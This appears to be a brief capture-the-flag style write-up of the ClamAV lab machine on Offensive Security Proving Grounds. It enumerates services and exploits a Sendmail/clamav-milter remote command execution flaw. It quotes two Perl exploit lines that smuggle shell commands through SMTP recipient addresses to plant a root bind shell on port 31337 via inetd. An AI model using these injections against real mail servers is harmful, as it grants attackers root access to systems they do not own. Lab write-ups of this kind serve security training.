Writeup for ClamAV from Offensive Security Proving Grounds (PG)

Information Gathering

Service Enumeration -H -t full -H -t vulns

HTTP (80)

There is a page with a binary message.
Challenge accepted!

SMTP (25)

We can see that Sendmail 8.13.4 is used.


We find the following Sendmail + ClamAV RCE exploit:
Sendmail with clamav-milter < 0.91.2 - Remote Command Execution
Exploit Database
The two lines in the Perl script:
print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";
print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";
appear to open port 31337 as a root shell.
After running the script, the port is indeed open.
Upon connecting to the bind shell, use bash -i to upgrade to a fully interactive shell.